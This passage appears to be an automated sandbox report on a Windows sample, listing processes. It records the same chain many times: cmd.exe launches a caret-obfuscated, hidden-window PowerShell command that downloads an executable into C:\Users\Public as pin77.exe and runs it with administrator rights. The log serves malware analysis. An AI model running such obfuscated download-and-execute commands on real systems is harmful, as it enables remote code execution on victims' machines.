                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:61
                                                                                                                                                  Start time:12:08:41
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:62
                                                                                                                                                  Start time:12:08:42
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:63
                                                                                                                                                  Start time:12:08:42
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:64
                                                                                                                                                  Start time:12:08:47
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:65
                                                                                                                                                  Start time:12:09:07
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:66
                                                                                                                                                  Start time:12:09:08
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff651c80000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:67
                                                                                                                                                  Start time:12:09:08
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:68
                                                                                                                                                  Start time:12:09:17
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:69
                                                                                                                                                  Start time:12:09:35
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:70
                                                                                                                                                  Start time:12:09:35
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:71
                                                                                                                                                  Start time:12:09:36
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:72
                                                                                                                                                  Start time:12:09:40
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:73
                                                                                                                                                  Start time:12:10:04
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:74
                                                                                                                                                  Start time:12:10:04
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:75
                                                                                                                                                  Start time:12:10:07
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:76
                                                                                                                                                  Start time:12:10:12
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:77
                                                                                                                                                  Start time:12:10:34
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:78
                                                                                                                                                  Start time:12:10:34
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:79
                                                                                                                                                  Start time:12:10:34
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:80
                                                                                                                                                  Start time:12:10:40
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:83
                                                                                                                                                  Start time:12:11:05
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:84
                                                                                                                                                  Start time:12:11:05
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:85
                                                                                                                                                  Start time:12:11:06
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:86
                                                                                                                                                  Start time:12:11:12
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:90
                                                                                                                                                  Start time:12:11:41
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:91
                                                                                                                                                  Start time:12:11:41
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:92
                                                                                                                                                  Start time:12:11:42
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:93
                                                                                                                                                  Start time:12:11:49
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:94
                                                                                                                                                  Start time:12:12:16
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:95
                                                                                                                                                  Start time:12:12:16
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:96
                                                                                                                                                  Start time:12:12:17
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:97
                                                                                                                                                  Start time:12:12:24
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:98
                                                                                                                                                  Start time:12:12:53
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:99
                                                                                                                                                  Start time:12:12:53
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:100
                                                                                                                                                  Start time:12:12:54
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:101
                                                                                                                                                  Start time:12:13:00
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:102
                                                                                                                                                  Start time:12:13:30
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:103
                                                                                                                                                  Start time:12:13:30
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:104
                                                                                                                                                  Start time:12:13:31
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x20000
                                                                                                                                                  File size:430592 bytes
                                                                                                                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:.Net C# or VB.NET

                                                                                                                                                  General

                                                                                                                                                  Target ID:105
                                                                                                                                                  Start time:12:13:35
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Users\Public\pin77.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0x2f0000
                                                                                                                                                  File size:1477416 bytes
                                                                                                                                                  MD5 hash:AEB47B393079D8C92169F1EF88DD5696
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:107
                                                                                                                                                  Start time:12:14:06
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
                                                                                                                                                  Imagebase:0xb0000
                                                                                                                                                  File size:232960 bytes
                                                                                                                                                  MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:108
                                                                                                                                                  Start time:12:14:07
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff745070000
                                                                                                                                                  File size:625664 bytes
                                                                                                                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:C, C++ or other language

                                                                                                                                                  General

                                                                                                                                                  Target ID:109
                                                                                                                                                  Start time:12:14:07
                                                                                                                                                  Start date:04/12/2022
                                                                                                                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                  Commandline:powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
